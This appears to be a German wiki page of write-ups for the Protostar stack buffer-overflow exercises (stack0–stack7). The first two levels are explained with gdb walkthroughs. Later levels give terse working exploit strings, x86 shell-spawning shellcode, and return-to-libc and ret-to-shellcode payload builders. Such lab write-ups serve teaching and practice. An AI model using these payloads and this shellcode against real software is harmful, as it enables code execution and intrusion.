Benutzer-Werkzeuge

Webseiten-Werkzeuge


friedhof:exploits:stacks

stack

Diese Unterseite gehört zum exploits Projekt und beinhaltet die stack Aufgaben von http://exploit-exercises.com/protostar.

stack0

Bei http://exploit-exercises.com/protostar/stack0 handelt es sich um ein erstes Beispiel, wie man den Wert einer Variable verändern kann. Im stack0 Quellcode kann man sehen, dass ein buffer mit 64 characters Platz angelegt wird. Die Variable modified die man verändern soll am Anfang auf 0 gesetzt wird und wie mit gets() etwas in buffer geschrieben wird.

char buffer[64];
modified = 0;
gets(buffer);

Wenn wir uns diese stelle mit gdb (GNU Debugger) ansehen, können wir folgendes sehen:

protostar@protostar:/opt/protostar/bin$ gdb stack0
(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
[...]
0x080483fd <main+9>:	mov    DWORD PTR [esp+0x5c],0x0
0x08048405 <main+17>:	lea    eax,[esp+0x1c]
0x08048409 <main+21>:	mov    DWORD PTR [esp],eax
0x0804840c <main+24>:	call   0x804830c <gets@plt>

esp ist der Stack Pointer. An die Adresse in [esp+0x5c] wird 0 geschrieben (das ist unser modified). Und bei [esp+0x1c] liegt unser buffer. Mit einem breakpoint nach dem gets(), können wir uns den Stack ansehen. Wir starten das Programm mit run und geben AAAABBBBCCCCDDDDEEEEFFFF ein.

(gdb) break *0x08048411
(gdb) run
Starting program: /opt/protostar/bin/stack0 
AAAABBBBCCCCDDDDEEEEFFFF

Breakpoint 1, main
(gdb) x/8x $esp+0x1c
0xbffff74c:	0x41414141	0x42424242	0x43434343	0x44444444
0xbffff75c:	0x45454545	0x46464646	0x08049600	0xbffff798
(gdb) x $esp+0x5c
0xbffff73c:	0x00000000

Wie wir sehen liegen ab [$esp+0x1c] unsere eingegebenen Buchstaben. 0x41 = A, 0x42 = B, 0x43 = C, 0x44 = D, 0x45 = E, 0x46 = F. Wir erinnern uns, dass unser buffer 64 Byte groß ist (0x5c - 0x1c = 64). Schauen wir was passiert, wenn wir mehr als 64 Zeichen eingeben. ('A'*64)+'BBBB'

(gdb) run
Starting program: /opt/protostar/bin/stack0
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Breakpoint 1, main
(gdb) x/20x $esp+0x1c
0xbffff6fc:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff70c:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff71c:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff72c:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff73c:	0x42424242	0x08048400	0x00000000	0xbffff7c8
(gdb) x $esp+0x5c
0xbffff73c:	0x42424242

Wie wir sehen, ist [esp+0x5c] nicht mehr 0. Also haben wir unser modified mit 'BBBB' = 0x42424242 überschrieben. Mit c können wir das Programm ab dem Breakpoint fortsetzten und sehen was passiert.

(gdb) c
Continuing.
you have changed the 'modified' variable

Fertig. Wir haben erfolgreich die Variable modified mit einem eigenen Wert überschrieben.

stack1

Bei http://exploit-exercises.com/protostar/stack1 muss man wieder eine Variable verändern, diesmal aber mit einem bestimmten Wert. Im stack1 Quellcode kann man sehen, dass ein buffer mit 64 characters Platz angelegt wird. Die Variable modified die man verändern soll am Anfang auf 0 gesetzt wird und dass mit strcpy() die Zeichen aus argv[1] (erster Parameter) in den buffer kopiert werden. Schauen wir uns mal Assembler an.

protostar@protostar:/opt/protostar/bin$ gdb stack1
(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
[...]
0x08048487 <main+35>:	mov    DWORD PTR [esp+0x5c],0x0
[...]
0x0804849b <main+55>:	lea    eax,[esp+0x1c]
0x0804849f <main+59>:	mov    DWORD PTR [esp],eax
0x080484a2 <main+62>:	call   0x8048368 <strcpy@plt>

wir sehen wieder, dass modified bei [esp+0x5c] (Stack + 0x5c offset) liegt und der buffer bei [esp+0x1c] (0x5c - 0x1x = 64). Werfen wir gleich mal mehr als 64 Zeichen rein, und den Wert der modified haben soll:

if(modified == 0x61626364) {
	printf("you have correctly got the variable to the right value\n");
} else {
	printf("Try again, you got 0x%08x\n", modified);
}

0x61626364 ist in Ascii 'abcd'. Also lassen wir das Programm mit ('A'*64)+'abcd' laufen.

(gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAabcd
Starting program: /opt/protostar/bin/stack1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAabcd
Try again, you got 0x64636261

Es hat nicht funktioniert? Es fällt auf, dass der Speicher solche Werte als little endian ablegt. Also drehen wir mal 'abcd' um ('dcba').

(gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdcba
Starting program: /opt/protostar/bin/stack1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdcba
you have correctly got the variable to the right value

Perfekt. Jetzt hat es funktioniert.

stack2

protostar@protostar:/opt/protostar/bin$ env GREENIE="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`echo -en "\x0a\x0d\x0a\x0d"`" ./stack2
you have correctly modified the variable

stack3

(gdb) x win
0x8048424 <win>:	0x83e58955
protostar@protostar:/opt/protostar/bin$ echo -e "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x24\x84\x04\x08" | ./stack3
calling function pointer, jumping to 0x08048424
code flow successfully changed

stack4

protostar@protostar:/opt/protostar/bin# echo -e "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xf4\x83\x04\x08" | ./stack4
code flow successfully changed

stack5

protostar@protostar:/opt/protostar/bin$ echo -e "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x70\xfe\xff\xbf\xcc\xcc\xcc\xcc" | env -i ./stack5
Trace/breakpoint trap

An der Stelle der breakpoints (\xcc) könnte nun shellcode stehen.

stack6

Stichwort ROP (Return Orientated Programming) Der Plan. Nach 80 Zeichen überschreiben wir ret von getpatch(). Aber wir können nicht einfach zu unserem shellcode springen wegen der überprüfung auf 0xbf. Also springen wir woanders hin → mit execl ein eigenes Programm ausführen (hier „/tmp/fav“). execl(„/tmp/fav“,„/tmp/fav“,0). 0x00 als Parameter ist nicht möglich im string mitzugeben, da dieser den String beenden würde. Daher benutzen wir printf mit %n um 0 in eine bestimmte Adresse zu schreiben.

// fav.c
char sc[] =
"\x31\xc0\x31\xdb\xb0\x06\xcd\x80"
"\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80"
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
 
main()
{
    int (*f)() = (int (*)())sc; f();
}

Also springen wir zu printf, haben auf dem stack die richtigen parameter dafür um 0x00 an die richtige Stelle im stack für unser execl zu schreiben. Unser exploit sieht jetzt so aus:

buffer printf execl formatstring prog prog here
buffer 80 Zeichen
printf Adresse von printf
execl Adresse von execl
formatstring „%3$n“ um 0 an die Adresse von here schreiben
prog Adresse zu „/tmp/fav“ String
prog Adresse zu „/tmp/fav“ String
here Adresse an die 0 geschrieben werden soll

Unser exploit wird also so verpackt:<br>

excel return Adresse prog prog 0
printf return Adresse formatstring „%3$n“
printf execl formatstring „%3$n“ prog prog here

wenn printf fertig ist, wird an die return Adresse gesprungen, die die Adresse von execl ist. Die Adresse von dem formatstring ist dann eigentlich die return Adresse von execl, was uns aber egal ist. here muss die Adresse von sich selbst haben, da printf mit %n an die Adresse einer Variable den Wert schreibt. Da wir also dort die 0 stehen haben wollen, muss die Adresse auf sich selbst zeigen.

Den formatstring und den prog string speicher ich in environment Variabeln:

fav=„/tmp/fav“ <br> str=„%3$n“

Mit einem C Code aus The art of exploitation, können wir die Adresse berechnen, an denen die Strings stehen werden:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
int main(int argc, char *argv[]) {
        char *ptr;
        if(argc < 3) {
                printf("Usage: %s <environment var> <target program name>\n", argv[0]);
                exit(0);
        }
 
        ptr = getenv(argv[1]); /* Get env var location. */
        ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* Adjust for program name. */
        printf("%s will be at %p\n", argv[1], ptr);
}

$ ./env str /opt/protostar/bin/stack6

Dann noch alles schön zusammenbasteln, und wir haben unsere shell:

buffer = 'A'*80
printf = "\x90\xdf\xed\xb7"
execl = "\x60\xe4\xf2\xb7"
str = "\x7f\xff\xff\xbf"
fav = "\xd9\xff\xff\xbf"
print buffer+printf+execl+str+fav+fav+"\xa0\xf7\xff\xbf"

c2b6b7f48fc111e180c9123138016265_7.jpg

Hier noch eine exploit Alternative, auf die ich durch stack7 gekommen bin.

Exploit Design:

bufferadress to retadress to shellcode
protostar@protostar:/tmp$ export SHELLCODE=`perl -e 'print "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
protostar@protostar:/tmp$ ./env SHELLCODE /opt/protostar/bin/stack6
SHELLCODE will be at 0xbffff94f
buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag"

#      SHELLCODE adr in gdb x/100s $esp
#  ret1 = smrrd.adr('0xbffff95e')
#      ./env SHELLCODE /opt/protostar/bin/stack6
ret1 = smrrd.adr('0xbffff94f') 
#      ret of main
ret2 = smrrd.adr('0x08048508')
print buffer[0:80]+ret2+ret1

stack7

Exploit Design:

bufferadress to retadress to shellcode

to get the position of the shellcode in the environment variable, I use again the env.c program.

protostar@protostar:/tmp$ export SHELLCODE=`perl -e 'print "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
protostar@protostar:/tmp$ ./env SHELLCODE /opt/protostar/bin/stack7
SHELLCODE will be at 0xbffff94f
buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag"

#      SHELLCODE adr in gdb x/100s $esp
#  ret1 = smrrd.adr('0xbffff95e')
#      ./env SHELLCODE /opt/protostar/bin/stack6
ret1 = smrrd.adr('0xbffff94f') 
#      ret of main
ret2 = smrrd.adr('0x08048553')
print buffer[0:80]+ret2+ret1
friedhof/exploits/stacks.txt · Zuletzt geändert: 2020-07-20 10:22 von neos